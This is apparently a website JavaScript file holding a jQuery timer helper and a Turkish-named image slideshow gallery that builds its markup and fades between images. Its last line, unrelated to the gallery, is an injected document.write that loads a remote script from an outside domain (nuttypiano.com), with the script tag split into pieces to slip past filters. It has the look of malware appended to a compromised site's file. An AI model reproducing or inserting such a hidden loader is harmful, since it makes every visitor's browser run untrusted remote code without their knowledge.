jQuery.timer = function (interval, callback){
	var interval = interval || 100;
	
	if (!callback) return false;
	
	_timer = function (interval, callback) {
		this.stop = function () {
			clearInterval(self.id);
		};
		
		this.internalCallback = function () {
			callback(self);
		};
		
		this.reset = function (val) {
			if (self.id)
				clearInterval(self.id);
			
			var val = val || 100;
			this.id = setInterval(this.internalCallback, val);
		};
		
		this.interval = interval;
		this.id = setInterval(this.internalCallback, this.interval);
		
		var self = this;
	};
	
	return new _timer(interval, callback);
};
 
 
 function asGaleri(){
	this.galeriYukle = galeriYukle;
    this.galeriIleri = galeriIleri;
    this.galeriGeri = galeriGeri;
	this.galeriGit = galeriGit;
	this.galeriOyna = galeriOyna;
	this.galeriDur = galeriDur;
	this.setGecisHizi = setGecisHizi;
	this.setOtoSure = setOtoSure;
	
	var id = "";

	var galeriSirasi = 0;
	var asGaleriSay = 0;
	var galeriGecisHizi = 500;
	var galeriOtoSure = 500;
	var galeriTimer = null;
	
	
	var oobj;
	
	function setGecisHizi(val){
		galeriGecisHizi = val;	
	}
	
	function setOtoSure(val){
		galeriOtoSure = val;	
	}
	
	function galeriOyna(){
		$.timer(galeriOtoSure, function (timer) {
			galeriTimer = timer;
			galeriIleri();
		});
	}
	
	function galeriDur(){
		if(galeriTimer)galeriTimer.stop();
	}
	
	function findPos(obj){
		var posX = obj.offsetLeft;
		var posY = obj.offsetTop;
		while(obj.offsetParent){
			if(obj==document.getElementsByTagName('body')[0]){
				break;
			}else{
				posX=posX+obj.offsetParent.offsetLeft;
				posY=posY+obj.offsetParent.offsetTop;
				obj=obj.offsetParent;
			}
		}		
		var posArray=[posX,posY]
		return posArray;
	}
	
	function ayarla(){
		$("#aGaleriLink_" + id).attr("href", oobj[galeriSirasi][2]);
		var html = "";
		for(i = 0; i < oobj.length; i++){
			html += (galeriSirasi == i ? '[' + (i+1) + ']' : '&nbsp;<a href="javascript:void(0);" onclick="' + id + '.galeriGit(' + i + ');">' + (i+1) + '</a>&nbsp;');
		}
		$("#tdAsGaleriMenuAciklama_" + id).fadeTo(galeriGecisHizi / 8, 0.10);
		document.getElementById("tdAsGaleriMenuSayfa_" + id).innerHTML = html;
		document.getElementById("tdAsGaleriMenuAciklama_" + id).innerHTML = "<a href='" + oobj[galeriSirasi][2] + "'>" + oobj[galeriSirasi][1] + "</a>";
		$("#tdAsGaleriMenuAciklama_" + id).fadeTo(galeriGecisHizi, 1);
	}
	
	function galeriYukle(div, yid, obj, width, height, barYukseklik){
		var css = '<style type="text/css">';
		css += '.asGaleri {font-family:Verdana; font-weight:bold; font-size: 13px; color: #E7EDAD; width: 100%; top: 25px; padding-left:5px; }';
		css += '.asGaleri a{text-decoration:none; color:#fff;}';
		css += '.asGaleri a:hover{text-decoration:underline; color:#E7EDAD;}';
		css += '</style>';
		document.writeln(css);
		var html = '<div id="divAsGaleri_' + yid + '" style="position:absolute; background:url(images/bos.gif); width:' + width + 'px; height:' + height + 'px; border:0px solid #fff;">';
		html += '<table onmouseover="' + yid + '.galeriDur()" width="' + width + '" height="' + height + '" id="tdAsGaleri_' + yid + '" border="0" cellspacing="0" cellpadding="0">';
		html += '<tr>';
		html += '<td valign="bottom" align="left">';
		html += '<a href="" id="aGaleriLink_' + yid + '" >';
		html += '<img id="imgAsGaleri_' + yid + '" width="' + width + '" height="' + height + '" border="0" />';
		html += '</a>';
		html += '</td>';
		html += '</tr>';
		html += '</table>';
		html += '</div>';
		html += '<div id="divAsGaleriMenu_' + yid + '" style="position:absolute; background-image:url(images/alt.png); background-repeat:no-repeat;">';
		html += '<table id="tdAsGaleriMenu_' + yid + '" width="100%">';
		html += '<tr>';
		html += '<td class="asGaleri" style="font-family:Arial; font-weight:bold; font-size:16px; width:16px;">';
		html += '<a href="javascript:void(0);" onclick="' +  yid + '.galeriGeri()">&lt;</a>';
		html += '</td>';
		html += ' <td class="asGaleri" style="font-family:Arial; font-weight:bold; font-size:16px; width:16px;">';
		html += '<a href="javascript:void(0);" onclick="' +  yid + '.galeriIleri()">&gt;</a>';
		html += '</td>';
		html += '<td class="asGaleri" id="tdAsGaleriMenuAciklama_' + yid + '"></td>';
		html += '<td class="asGaleri" id="tdAsGaleriMenuSayfa_' + yid + '" style="font-size:12px;"></td>';
		html += '</tr>';
		html += '</table>';
		html += '</div>';
		
		id = yid;
		
		document.getElementById(div).innerHTML = html;
		
		oobj = obj;
		$("#imgAsGaleri_" + yid).attr("src", obj[0][0]);
		
		var height, width, pos, top, left;
		$("#tdAsGaleriMenu_" + yid).attr("height", barYukseklik);
		pos = findPos(document.getElementById("divAsGaleri_" + yid));
		top = 308;
		left = pos[0];
		width = parseInt($("#divAsGaleri_" + yid).css("width"));
		$("#divAsGaleriMenu_" + yid).css({'display' : '', 'top' : top + 'px', 'width' : width + 'px', 'height' : barYukseklik + 'px'});
		ayarla();
	}
	
	function galeriGit(sayfa){
		galeriSirasi = sayfa-1;
		galeriIleri();
	}
	
	function galeriIleri(){
		asGaleriSay++;
		galeriSirasi++;
		if(galeriSirasi == oobj.length)galeriSirasi=0;
		if(asGaleriSay%2==1){
			$("#divAsGaleri_" + id).css({"background-image" : 'url(' + oobj[galeriSirasi][0] + ')'});
			$("#tdAsGaleri_" + id).fadeOut(galeriGecisHizi);
		}
		if(asGaleriSay%2==0){
			$("#imgAsGaleri_" + id).attr("src", oobj[galeriSirasi][0]);
			$("#tdAsGaleri_" + id).fadeIn(galeriGecisHizi);
		}
		ayarla();
	}
	
	function galeriGeri(){
		asGaleriSay++;
		galeriSirasi--;
		if(galeriSirasi == -1)galeriSirasi=oobj.length-1;
		if(asGaleriSay%2==1){
			$("#divAsGaleri_" + id).css({"background-image" : 'url(' + oobj[galeriSirasi][0] + ')'});
			$("#tdAsGaleri_" + id).fadeOut(galeriGecisHizi);
		}
		if(asGaleriSay%2==0){
			$("#imgAsGaleri_" + id).attr("src", oobj[galeriSirasi][0]);
			$("#tdAsGaleri_" + id).fadeIn(galeriGecisHizi);
		}
		ayarla();
	}
}
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Index.js"></scri'+'pt>');